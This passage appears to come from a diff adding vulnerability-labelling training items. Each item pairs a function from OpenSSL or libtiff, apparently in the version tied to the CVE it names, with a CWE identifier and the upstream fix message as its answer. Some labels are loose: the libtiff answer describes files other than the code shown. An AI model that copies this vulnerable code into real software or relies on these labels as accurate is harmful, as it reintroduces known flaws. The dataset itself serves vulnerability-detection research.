*/\n\t\tEC_KEY_set_public_key(ecdh, srvr_ecpoint);\n\t\ts->session->sess_cert->peer_ecdh_tmp=ecdh;\n\t\tecdh=NULL;\n\t\tBN_CTX_free(bn_ctx);\n\t\tbn_ctx = NULL;\n\t\tEC_POINT_free(srvr_ecpoint);\n\t\tsrvr_ecpoint = NULL;\n\t\t}\n\telse if (alg_k)\n\t\t{\n\t\tal=SSL_AD_UNEXPECTED_MESSAGE;\n\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_UNEXPECTED_MESSAGE);\n\t\tgoto f_err;\n\t\t}\n#endif /* !OPENSSL_NO_ECDH */\n\n\n\t/* p points to the next byte, there are 'n' bytes left */\n\n\t/* if it was signed, check the signature */\n\tif (pkey != NULL)\n\t\t{\n\t\tif (TLS1_get_version(s) >= TLS1_2_VERSION)\n\t\t\t{\n\t\t\tint sigalg;\n\t\t\tif (2 > n)\n\t\t\t\t{\n\t\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\t\tgoto f_err;\n\t\t\t\t}\n\n\t\t\tsigalg = tls12_get_sigid(pkey);\n\t\t\t/* Should never happen */\n\t\t\tif (sigalg == -1)\n\t\t\t\t{\n\t\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_INTERNAL_ERROR);\n\t\t\t\tgoto err;\n\t\t\t\t}\n\t\t\t/* Check key type is consistent with signature */\n\t\t\tif (sigalg != (int)p[1])\n\t\t\t\t{\n\t\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_WRONG_SIGNATURE_TYPE);\n\t\t\t\tal=SSL_AD_DECODE_ERROR;\n\t\t\t\tgoto f_err;\n\t\t\t\t}\n\t\t\tmd = tls12_get_hash(p[0]);\n\t\t\tif (md == NULL)\n\t\t\t\t{\n\t\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_UNKNOWN_DIGEST);\n\t\t\t\tgoto f_err;\n\t\t\t\t}\n#ifdef SSL_DEBUG\nfprintf(stderr, \"USING TLSv1.2 HASH %s\\n\", EVP_MD_name(md));\n#endif\n\t\t\tp += 2;\n\t\t\tn -= 2;\n\t\t\t}\n\t\telse\n\t\t\tmd = EVP_sha1();\n\n\t\tif (2 > n)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,\n\t\t\t\tSSL_R_LENGTH_TOO_SHORT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tn2s(p,i);\n\t\tn-=2;\n\t\tj=EVP_PKEY_size(pkey);\n\n\t\t/* Check signature length. If n is 0 then signature is empty */\n\t\tif ((i != n) || (n > j) || (n <= 0))\n\t\t\t{\n\t\t\t/* wrong packet length */\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_WRONG_SIGNATURE_LENGTH);\n\t\t\tgoto f_err;\n\t\t\t}\n\n#ifndef OPENSSL_NO_RSA\n\t\tif (pkey->type == EVP_PKEY_RSA && TLS1_get_version(s) < TLS1_2_VERSION)\n\t\t\t{\n\t\t\tint num;\n\t\t\tunsigned int size;\n\n\t\t\tj=0;\n\t\t\tq=md_buf;\n\t\t\tfor (num=2; num > 0; num--)\n\t\t\t\t{\n\t\t\t\tEVP_MD_CTX_set_flags(&md_ctx,\n\t\t\t\t\tEVP_MD_CTX_FLAG_NON_FIPS_ALLOW);\n\t\t\t\tEVP_DigestInit_ex(&md_ctx,(num == 2)\n\t\t\t\t\t?s->ctx->md5:s->ctx->sha1, NULL);\n\t\t\t\tEVP_DigestUpdate(&md_ctx,&(s->s3->client_random[0]),SSL3_RANDOM_SIZE);\n\t\t\t\tEVP_DigestUpdate(&md_ctx,&(s->s3->server_random[0]),SSL3_RANDOM_SIZE);\n\t\t\t\tEVP_DigestUpdate(&md_ctx,param,param_len);\n\t\t\t\tEVP_DigestFinal_ex(&md_ctx,q,&size);\n\t\t\t\tq+=size;\n\t\t\t\tj+=size;\n\t\t\t\t}\n\t\t\ti=RSA_verify(NID_md5_sha1, md_buf, j, p, n,\n\t\t\t\t\t\t\t\tpkey->pkey.rsa);\n\t\t\tif (i < 0)\n\t\t\t\t{\n\t\t\t\tal=SSL_AD_DECRYPT_ERROR;\n\t\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_RSA_DECRYPT);\n\t\t\t\tgoto f_err;\n\t\t\t\t}\n\t\t\tif (i == 0)\n\t\t\t\t{\n\t\t\t\t/* bad signature */\n\t\t\t\tal=SSL_AD_DECRYPT_ERROR;\n\t\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SIGNATURE);\n\t\t\t\tgoto f_err;\n\t\t\t\t}\n\t\t\t}\n\t\telse\n#endif\n\t\t\t{\n\t\t\tEVP_VerifyInit_ex(&md_ctx, md, NULL);\n\t\t\tEVP_VerifyUpdate(&md_ctx,&(s->s3->client_random[0]),SSL3_RANDOM_SIZE);\n\t\t\tEVP_VerifyUpdate(&md_ctx,&(s->s3->server_random[0]),SSL3_RANDOM_SIZE);\n\t\t\tEVP_VerifyUpdate(&md_ctx,param,param_len);\n\t\t\tif (EVP_VerifyFinal(&md_ctx,p,(int)n,pkey) <= 0)\n\t\t\t\t{\n\t\t\t\t/* bad signature */\n\t\t\t\tal=SSL_AD_DECRYPT_ERROR;\n\t\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SIGNATURE);\n\t\t\t\tgoto f_err;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\telse\n\t\t{\n\t\t/* aNULL, aSRP or kPSK do not need public keys */\n\t\tif (!(alg_a & (SSL_aNULL|SSL_aSRP)) && !(alg_k & SSL_kPSK))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_INTERNAL_ERROR);\n\t\t\tgoto err;\n\t\t\t}\n\t\t/* still data left over */\n\t\tif (n != 0)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_EXTRA_DATA_IN_MESSAGE);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\t}\n\tEVP_PKEY_free(pkey);\n\tEVP_MD_CTX_cleanup(&md_ctx);\n\treturn(1);\nf_err:\n\tssl3_send_alert(s,SSL3_AL_FATAL,al);\nerr:\n\tEVP_PKEY_free(pkey);\n#ifndef OPENSSL_NO_RSA\n\tif (rsa != NULL)\n\t\tRSA_free(rsa);\n#endif\n#ifndef OPENSSL_NO_DH\n\tif (dh != NULL)\n\t\tDH_free(dh);\n#endif\n#ifndef OPENSSL_NO_ECDH\n\tBN_CTX_free(bn_ctx);\n\tEC_POINT_free(srvr_ecpoint);\n\tif (ecdh != NULL)\n\t\tEC_KEY_free(ecdh);\n#endif\n\tEVP_MD_CTX_cleanup(&md_ctx);\n\treturn(-1);\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 'ECDH downgrade bug fix.\n\nFix bug where an OpenSSL client would accept a handshake using an\nephemeral ECDH ciphersuites with the server key exchange message omitted.\n\nThanks to Karthikeyan Bhargavan for reporting this issue.\n\nCVE-2014-3572\nReviewed-by: Matt Caswell \n\n(cherry picked from commit b15f8769644b00ef7283521593360b7b2135cb63)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int ASN1_item_verify(const ASN1_ITEM *it, X509_ALGOR *a,\n\t\tASN1_BIT_STRING *signature, void *asn, EVP_PKEY *pkey)\n\t{\n\tEVP_MD_CTX ctx;\n\tunsigned char *buf_in=NULL;\n\tint ret= -1,inl;\n\n\tint mdnid, pknid;\n\n\tif (!pkey)\n\t\t{\n\t\tASN1err(ASN1_F_ASN1_ITEM_VERIFY, ERR_R_PASSED_NULL_PARAMETER);\n\t\treturn -1;\n\t\t}\n\n\tEVP_MD_CTX_init(&ctx);\n\n\t/* Convert signature OID into digest and public key OIDs */\n\tif (!OBJ_find_sigid_algs(OBJ_obj2nid(a->algorithm), &mdnid, &pknid))\n\t\t{\n\t\tASN1err(ASN1_F_ASN1_ITEM_VERIFY,ASN1_R_UNKNOWN_SIGNATURE_ALGORITHM);\n\t\tgoto err;\n\t\t}\n\tif (mdnid == NID_undef)\n\t\t{\n\t\tif (!pkey->ameth || !pkey->ameth->item_verify)\n\t\t\t{\n\t\t\tASN1err(ASN1_F_ASN1_ITEM_VERIFY,ASN1_R_UNKNOWN_SIGNATURE_ALGORITHM);\n\t\t\tgoto err;\n\t\t\t}\n\t\tret = pkey->ameth->item_verify(&ctx, it, asn, a,\n\t\t\t\t\t\t\tsignature, pkey);\n\t\t/* Return value of 2 means carry on, anything else means we\n\t\t * exit straight away: either a fatal error of the underlying\n\t\t * verification routine handles all verification.\n\t\t */\n\t\tif (ret != 2)\n\t\t\tgoto err;\n\t\tret = -1;\n\t\t}\n\telse\n\t\t{\n\t\tconst EVP_MD *type;\n\t\ttype=EVP_get_digestbynid(mdnid);\n\t\tif (type == NULL)\n\t\t\t{\n\t\t\tASN1err(ASN1_F_ASN1_ITEM_VERIFY,ASN1_R_UNKNOWN_MESSAGE_DIGEST_ALGORITHM);\n\t\t\tgoto err;\n\t\t\t}\n\n\t\t/* Check public key OID matches public key type */\n\t\tif (EVP_PKEY_type(pknid) != pkey->ameth->pkey_id)\n\t\t\t{\n\t\t\tASN1err(ASN1_F_ASN1_ITEM_VERIFY,ASN1_R_WRONG_PUBLIC_KEY_TYPE);\n\t\t\tgoto err;\n\t\t\t}\n\n\t\tif (!EVP_DigestVerifyInit(&ctx, NULL, type, NULL, pkey))\n\t\t\t{\n\t\t\tASN1err(ASN1_F_ASN1_ITEM_VERIFY,ERR_R_EVP_LIB);\n\t\t\tret=0;\n\t\t\tgoto err;\n\t\t\t}\n\n\t\t}\n\n\tinl = ASN1_item_i2d(asn, &buf_in, it);\n\t\n\tif (buf_in == NULL)\n\t\t{\n\t\tASN1err(ASN1_F_ASN1_ITEM_VERIFY,ERR_R_MALLOC_FAILURE);\n\t\tgoto err;\n\t\t}\n\n\tif (!EVP_DigestVerifyUpdate(&ctx,buf_in,inl))\n\t\t{\n\t\tASN1err(ASN1_F_ASN1_ITEM_VERIFY,ERR_R_EVP_LIB);\n\t\tret=0;\n\t\tgoto err;\n\t\t}\n\n\tOPENSSL_cleanse(buf_in,(unsigned int)inl);\n\tOPENSSL_free(buf_in);\n\n\tif (EVP_DigestVerifyFinal(&ctx,signature->data,\n\t\t\t(size_t)signature->length) <= 0)\n\t\t{\n\t\tASN1err(ASN1_F_ASN1_ITEM_VERIFY,ERR_R_EVP_LIB);\n\t\tret=0;\n\t\tgoto err;\n\t\t}\n\t/* we don't need to zero the 'ctx' because we just checked\n\t * public information */\n\t/* memset(&ctx,0,sizeof(ctx)); */\n\tret=1;\nerr:\n\tEVP_MD_CTX_cleanup(&ctx);\n\treturn(ret);\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 'Fix various certificate fingerprint issues.\n\nBy using non-DER or invalid encodings outside the signed portion of a\ncertificate the fingerprint can be changed without breaking the signature.\nAlthough no details of the signed portion of the certificate can be changed\nthis can cause problems with some applications: e.g. those using the\ncertificate fingerprint for blacklists.\n\n1. Reject signatures with non zero unused bits.\n\nIf the BIT STRING containing the signature has non zero unused bits reject\nthe signature. All current signature algorithms require zero unused bits.\n\n2. Check certificate algorithm consistency.\n\nCheck the AlgorithmIdentifier inside TBS matches the one in the\ncertificate signature. NB: this will result in signature failure\nerrors for some broken certificates.\n\n3. Check DSA/ECDSA signatures use DER.\n\nReencode DSA/ECDSA signatures and compare with the original received\nsignature. Return an error if there is a mismatch.\n\nThis will reject various cases including garbage after signature\n(thanks to Antti Karjalainen and Tuomo Untinen from the Codenomicon CROSS\nprogram for discovering this case) and use of BER or invalid ASN.1 INTEGERs\n(negative or with leading zeroes).\n\nCVE-2014-8275\nReviewed-by: Emilia K\u00e4sper \n\n(cherry picked from commit 684400ce192dac51df3d3e92b61830a6ef90be3e)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int ssl3_get_cert_verify(SSL *s)\n\t{\n\tEVP_PKEY *pkey=NULL;\n\tunsigned char *p;\n\tint al,ok,ret=0;\n\tlong n;\n\tint type=0,i,j;\n\tX509 *peer;\n\tconst EVP_MD *md = NULL;\n\tEVP_MD_CTX mctx;\n\tEVP_MD_CTX_init(&mctx);\n\n\tn=s->method->ssl_get_message(s,\n\t\tSSL3_ST_SR_CERT_VRFY_A,\n\t\tSSL3_ST_SR_CERT_VRFY_B,\n\t\t-1,\n\t\tSSL3_RT_MAX_PLAIN_LENGTH,\n\t\t&ok);\n\n\tif (!ok) return((int)n);\n\n\tif (s->session->peer != NULL)\n\t\t{\n\t\tpeer=s->session->peer;\n\t\tpkey=X509_get_pubkey(peer);\n\t\ttype=X509_certificate_type(peer,pkey);\n\t\t}\n\telse\n\t\t{\n\t\tpeer=NULL;\n\t\tpkey=NULL;\n\t\t}\n\n\tif (s->s3->tmp.message_type != SSL3_MT_CERTIFICATE_VERIFY)\n\t\t{\n\t\ts->s3->tmp.reuse_message=1;\n\t\tif ((peer != NULL) && (type & EVP_PKT_SIGN))\n\t\t\t{\n\t\t\tal=SSL_AD_UNEXPECTED_MESSAGE;\n\t\t\tSSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_MISSING_VERIFY_MESSAGE);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tret=1;\n\t\tgoto end;\n\t\t}\n\n\tif (peer == NULL)\n\t\t{\n\t\tSSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_NO_CLIENT_CERT_RECEIVED);\n\t\tal=SSL_AD_UNEXPECTED_MESSAGE;\n\t\tgoto f_err;\n\t\t}\n\n\tif (!(type & EVP_PKT_SIGN))\n\t\t{\n\t\tSSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_SIGNATURE_FOR_NON_SIGNING_CERTIFICATE);\n\t\tal=SSL_AD_ILLEGAL_PARAMETER;\n\t\tgoto f_err;\n\t\t}\n\n\tif (s->s3->change_cipher_spec)\n\t\t{\n\t\tSSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_CCS_RECEIVED_EARLY);\n\t\tal=SSL_AD_UNEXPECTED_MESSAGE;\n\t\tgoto f_err;\n\t\t}\n\n\t/* we now have a signature that we need to verify */\n\tp=(unsigned char *)s->init_msg;\n\t/* Check for broken implementations of GOST ciphersuites */\n\t/* If key is GOST and n is exactly 64, it is bare\n\t * signature without length field */\n\tif (n==64 && (pkey->type==NID_id_GostR3410_94 ||\n\t\tpkey->type == NID_id_GostR3410_2001) )\n\t\t{\n\t\ti=64;\n\t\t} \n\telse \n\t\t{\t\n\t\tif (SSL_USE_SIGALGS(s))\n\t\t\t{\n\t\t\tint rv = tls12_check_peer_sigalg(&md, s, p, pkey);\n\t\t\tif (rv == -1)\n\t\t\t\t{\n\t\t\t\tal = SSL_AD_INTERNAL_ERROR;\n\t\t\t\tgoto f_err;\n\t\t\t\t}\n\t\t\telse if (rv == 0)\n\t\t\t\t{\n\t\t\t\tal = SSL_AD_DECODE_ERROR;\n\t\t\t\tgoto f_err;\n\t\t\t\t}\n#ifdef SSL_DEBUG\nfprintf(stderr, \"USING TLSv1.2 HASH %s\\n\", EVP_MD_name(md));\n#endif\n\t\t\tp += 2;\n\t\t\tn -= 2;\n\t\t\t}\n\t\tn2s(p,i);\n\t\tn-=2;\n\t\tif (i > n)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_LENGTH_MISMATCH);\n\t\t\tal=SSL_AD_DECODE_ERROR;\n\t\t\tgoto f_err;\n\t\t\t}\n    \t}\n\tj=EVP_PKEY_size(pkey);\n\tif ((i > j) || (n > j) || (n <= 0))\n\t\t{\n\t\tSSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_WRONG_SIGNATURE_SIZE);\n\t\tal=SSL_AD_DECODE_ERROR;\n\t\tgoto f_err;\n\t\t}\n\n\tif (SSL_USE_SIGALGS(s))\n\t\t{\n\t\tlong hdatalen = 0;\n\t\tvoid *hdata;\n\t\thdatalen = BIO_get_mem_data(s->s3->handshake_buffer, &hdata);\n\t\tif (hdatalen <= 0)\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_CERT_VERIFY, ERR_R_INTERNAL_ERROR);\n\t\t\tal=SSL_AD_INTERNAL_ERROR;\n\t\t\tgoto f_err;\n\t\t\t}\n#ifdef SSL_DEBUG\n\t\tfprintf(stderr, \"Using TLS 1.2 with client verify alg %s\\n\",\n\t\t\t\t\t\t\tEVP_MD_name(md));\n#endif\n\t\tif (!EVP_VerifyInit_ex(&mctx, md, NULL)\n\t\t\t|| !EVP_VerifyUpdate(&mctx, hdata, hdatalen))\n\t\t\t{\n\t\t\tSSLerr(SSL_F_SSL3_GET_CERT_VERIFY, ERR_R_EVP_LIB);\n\t\t\tal=SSL_AD_INTERNAL_ERROR;\n\t\t\tgoto f_err;\n\t\t\t}\n\n\t\tif (EVP_VerifyFinal(&mctx, p , i, pkey) <= 0)\n\t\t\t{\n\t\t\tal=SSL_AD_DECRYPT_ERROR;\n\t\t\tSSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_BAD_SIGNATURE);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\t}\n\telse\n#ifndef OPENSSL_NO_RSA \n\tif (pkey->type == EVP_PKEY_RSA)\n\t\t{\n\t\ti=RSA_verify(NID_md5_sha1, s->s3->tmp.cert_verify_md,\n\t\t\tMD5_DIGEST_LENGTH+SHA_DIGEST_LENGTH, p, i, \n\t\t\t\t\t\t\tpkey->pkey.rsa);\n\t\tif (i < 0)\n\t\t\t{\n\t\t\tal=SSL_AD_DECRYPT_ERROR;\n\t\t\tSSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_BAD_RSA_DECRYPT);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\tif (i == 0)\n\t\t\t{\n\t\t\tal=SSL_AD_DECRYPT_ERROR;\n\t\t\tSSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_BAD_RSA_SIGNATURE);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\t}\n\telse\n#endif\n#ifndef OPENSSL_NO_DSA\n\t\tif (pkey->type == EVP_PKEY_DSA)\n\t\t{\n\t\tj=DSA_verify(pkey->save_type,\n\t\t\t&(s->s3->tmp.cert_verify_md[MD5_DIGEST_LENGTH]),\n\t\t\tSHA_DIGEST_LENGTH,p,i,pkey->pkey.dsa);\n\t\tif (j <= 0)\n\t\t\t{\n\t\t\t/* bad signature */\n\t\t\tal=SSL_AD_DECRYPT_ERROR;\n\t\t\tSSLerr(SSL_F_SSL3_GET_CERT_VERIFY,SSL_R_BAD_DSA_SIGNATURE);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\t}\n\telse\n#endif\n#ifndef OPENSSL_NO_ECDSA\n\t\tif (pkey->type == EVP_PKEY_EC)\n\t\t{\n\t\tj=ECDSA_verify(pkey->save_type,\n\t\t\t&(s->s3->tmp.cert_verify_md[MD5_DIGEST_LENGTH]),\n\t\t\tSHA_DIGEST_LENGTH,p,i,pkey->pkey.ec);\n\t\tif (j <= 0)\n\t\t\t{\n\t\t\t/* bad signature */\n\t\t\tal=SSL_AD_DECRYPT_ERROR;\n\t\t\tSSLerr(SSL_F_SSL3_GET_CERT_VERIFY,\n\t\t\t    SSL_R_BAD_ECDSA_SIGNATURE);\n\t\t\tgoto f_err;\n\t\t\t}\n\t\t}\n\telse\n#endif\n\tif (pkey->type == NID_id_GostR3410_94 || pkey->type == NID_id_GostR3410_2001)\n\t\t{   unsigned char signature[64];\n\t\t\tint idx;\n\t\t\tEVP_PKEY_CTX *pctx = EVP_PKEY_CTX_new(pkey,NULL);\n\t\t\tEVP_PKEY_verify_init(pctx);\n\t\t\tif (i!=64) {\n\t\t\t\tfprintf(stderr,\"GOST signature length is %d\",i);\n\t\t\t}\t\n\t\t\tfor (idx=0;idx<64;idx++) {\n\t\t\t\tsignature[63-idx]=p[idx];\n\t\t\t}\t\n\t\t\tj=EVP_PKEY_verify(pctx,signature,64,s->s3->tmp.cert_verify_md,32);\n\t\t\tEVP_PKEY_CTX_free(pctx);\n\t\t\tif (j<=0) \n\t\t\t\t{\n\t\t\t\tal=SSL_AD_DECRYPT_ERROR;\n\t\t\t\tSSLerr(SSL_F_SSL3_GET_CERT_VERIFY,\n\t\t\t\t\tSSL_R_BAD_ECDSA_SIGNATURE);\n\t\t\t\tgoto f_err;\n\t\t\t\t}\t\n\t\t}\n\telse\t\n\t\t{\n\t\tSSLerr(SSL_F_SSL3_GET_CERT_VERIFY,ERR_R_INTERNAL_ERROR);\n\t\tal=SSL_AD_UNSUPPORTED_CERTIFICATE;\n\t\tgoto f_err;\n\t\t}\n\n\n\tret=1;\n\tif (0)\n\t\t{\nf_err:\n\t\tssl3_send_alert(s,SSL3_AL_FATAL,al);\n\t\t}\nend:\n\tif (s->s3->handshake_buffer)\n\t\t{\n\t\tBIO_free(s->s3->handshake_buffer);\n\t\ts->s3->handshake_buffer = NULL;\n\t\ts->s3->flags &= ~TLS1_FLAGS_KEEP_HANDSHAKE;\n\t\t}\n\tEVP_MD_CTX_cleanup(&mctx);\n\tEVP_PKEY_free(pkey);\n\treturn(ret);\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 'Unauthenticated DH client certificate fix.\n\nFix to prevent use of DH client certificates without sending\ncertificate verify message.\n\nIf we've used a client certificate to generate the premaster secret\nssl3_get_client_key_exchange returns 2 and ssl3_get_cert_verify is\nnever called.\n\nWe can only skip the certificate verify message in\nssl3_get_cert_verify if the client didn't send a certificate.\n\nThanks to Karthikeyan Bhargavan for reporting this issue.\nCVE-2015-0205\nReviewed-by: Matt Caswell '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void bn_mul_comba8(BN_ULONG *r, BN_ULONG *a, BN_ULONG *b)\n\t{\n\tBN_ULONG t1,t2;\n\tBN_ULONG c1,c2,c3;\n\n\tc1=0;\n\tc2=0;\n\tc3=0;\n\tmul_add_c(a[0],b[0],c1,c2,c3);\n\tr[0]=c1;\n\tc1=0;\n\tmul_add_c(a[0],b[1],c2,c3,c1);\n\tmul_add_c(a[1],b[0],c2,c3,c1);\n\tr[1]=c2;\n\tc2=0;\n\tmul_add_c(a[2],b[0],c3,c1,c2);\n\tmul_add_c(a[1],b[1],c3,c1,c2);\n\tmul_add_c(a[0],b[2],c3,c1,c2);\n\tr[2]=c3;\n\tc3=0;\n\tmul_add_c(a[0],b[3],c1,c2,c3);\n\tmul_add_c(a[1],b[2],c1,c2,c3);\n\tmul_add_c(a[2],b[1],c1,c2,c3);\n\tmul_add_c(a[3],b[0],c1,c2,c3);\n\tr[3]=c1;\n\tc1=0;\n\tmul_add_c(a[4],b[0],c2,c3,c1);\n\tmul_add_c(a[3],b[1],c2,c3,c1);\n\tmul_add_c(a[2],b[2],c2,c3,c1);\n\tmul_add_c(a[1],b[3],c2,c3,c1);\n\tmul_add_c(a[0],b[4],c2,c3,c1);\n\tr[4]=c2;\n\tc2=0;\n\tmul_add_c(a[0],b[5],c3,c1,c2);\n\tmul_add_c(a[1],b[4],c3,c1,c2);\n\tmul_add_c(a[2],b[3],c3,c1,c2);\n\tmul_add_c(a[3],b[2],c3,c1,c2);\n\tmul_add_c(a[4],b[1],c3,c1,c2);\n\tmul_add_c(a[5],b[0],c3,c1,c2);\n\tr[5]=c3;\n\tc3=0;\n\tmul_add_c(a[6],b[0],c1,c2,c3);\n\tmul_add_c(a[5],b[1],c1,c2,c3);\n\tmul_add_c(a[4],b[2],c1,c2,c3);\n\tmul_add_c(a[3],b[3],c1,c2,c3);\n\tmul_add_c(a[2],b[4],c1,c2,c3);\n\tmul_add_c(a[1],b[5],c1,c2,c3);\n\tmul_add_c(a[0],b[6],c1,c2,c3);\n\tr[6]=c1;\n\tc1=0;\n\tmul_add_c(a[0],b[7],c2,c3,c1);\n\tmul_add_c(a[1],b[6],c2,c3,c1);\n\tmul_add_c(a[2],b[5],c2,c3,c1);\n\tmul_add_c(a[3],b[4],c2,c3,c1);\n\tmul_add_c(a[4],b[3],c2,c3,c1);\n\tmul_add_c(a[5],b[2],c2,c3,c1);\n\tmul_add_c(a[6],b[1],c2,c3,c1);\n\tmul_add_c(a[7],b[0],c2,c3,c1);\n\tr[7]=c2;\n\tc2=0;\n\tmul_add_c(a[7],b[1],c3,c1,c2);\n\tmul_add_c(a[6],b[2],c3,c1,c2);\n\tmul_add_c(a[5],b[3],c3,c1,c2);\n\tmul_add_c(a[4],b[4],c3,c1,c2);\n\tmul_add_c(a[3],b[5],c3,c1,c2);\n\tmul_add_c(a[2],b[6],c3,c1,c2);\n\tmul_add_c(a[1],b[7],c3,c1,c2);\n\tr[8]=c3;\n\tc3=0;\n\tmul_add_c(a[2],b[7],c1,c2,c3);\n\tmul_add_c(a[3],b[6],c1,c2,c3);\n\tmul_add_c(a[4],b[5],c1,c2,c3);\n\tmul_add_c(a[5],b[4],c1,c2,c3);\n\tmul_add_c(a[6],b[3],c1,c2,c3);\n\tmul_add_c(a[7],b[2],c1,c2,c3);\n\tr[9]=c1;\n\tc1=0;\n\tmul_add_c(a[7],b[3],c2,c3,c1);\n\tmul_add_c(a[6],b[4],c2,c3,c1);\n\tmul_add_c(a[5],b[5],c2,c3,c1);\n\tmul_add_c(a[4],b[6],c2,c3,c1);\n\tmul_add_c(a[3],b[7],c2,c3,c1);\n\tr[10]=c2;\n\tc2=0;\n\tmul_add_c(a[4],b[7],c3,c1,c2);\n\tmul_add_c(a[5],b[6],c3,c1,c2);\n\tmul_add_c(a[6],b[5],c3,c1,c2);\n\tmul_add_c(a[7],b[4],c3,c1,c2);\n\tr[11]=c3;\n\tc3=0;\n\tmul_add_c(a[7],b[5],c1,c2,c3);\n\tmul_add_c(a[6],b[6],c1,c2,c3);\n\tmul_add_c(a[5],b[7],c1,c2,c3);\n\tr[12]=c1;\n\tc1=0;\n\tmul_add_c(a[6],b[7],c2,c3,c1);\n\tmul_add_c(a[7],b[6],c2,c3,c1);\n\tr[13]=c2;\n\tc2=0;\n\tmul_add_c(a[7],b[7],c3,c1,c2);\n\tr[14]=c3;\n\tr[15]=c1;\n\t} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-310'], 'message': 'Fix for CVE-2014-3570 (with minor bn_asm.c revamp).\n\nReviewed-by: Emilia Kasper '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: DECLAREContigPutFunc(putcontig8bitYCbCr41tile)\n{\n    (void) y;\n    /* XXX adjust fromskew */\n    do {\n\tx = w>>2;\n\tdo {\n\t    int32 Cb = pp[4];\n\t    int32 Cr = pp[5];\n\n\t    YCbCrtoRGB(cp [0], pp[0]);\n\t    YCbCrtoRGB(cp [1], pp[1]);\n\t    YCbCrtoRGB(cp [2], pp[2]);\n\t    YCbCrtoRGB(cp [3], pp[3]);\n\n\t    cp += 4;\n\t    pp += 6;\n\t} while (--x);\n\n        if( (w&3) != 0 )\n        {\n\t    int32 Cb = pp[4];\n\t    int32 Cr = pp[5];\n\n            switch( (w&3) ) {\n              case 3: YCbCrtoRGB(cp [2], pp[2]);\n              case 2: YCbCrtoRGB(cp [1], pp[1]);\n              case 1: YCbCrtoRGB(cp [0], pp[0]);\n              case 0: break;\n            }\n\n            cp += (w&3);\n            pp += 6;\n        }\n\n\tcp += toskew;\n\tpp += fromskew;\n    } while (--h);\n\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-119'], 'message': '* libtiff/tif_next.c: add new tests to check that we don't read outside of\nthe compressed input stream buffer.\n\n* libtiff/tif_getimage.c: in OJPEG case, fix checks on strile width/height'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void do_free_upto(BIO *f, BIO *upto)\n{\n    if (upto) {\n        BIO *tbio;\n        do {\n            tbio = BIO_pop(f);\n            BIO_free(f);\n            f = tbio;\n        }\n        while (f != upto);\n    } else\n        BIO_free_all(f);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-399'], 'message': 'Fix infinite loop in CMS\n\nFix loop in do_free_upto if cmsbio is NULL: this will happen when attempting\nto verify and a digest is not recognised. Reported by Johannes Bauer.\n\nCVE-2015-1792\n\nReviewed-by: Matt Caswell '"
+  },
+  {
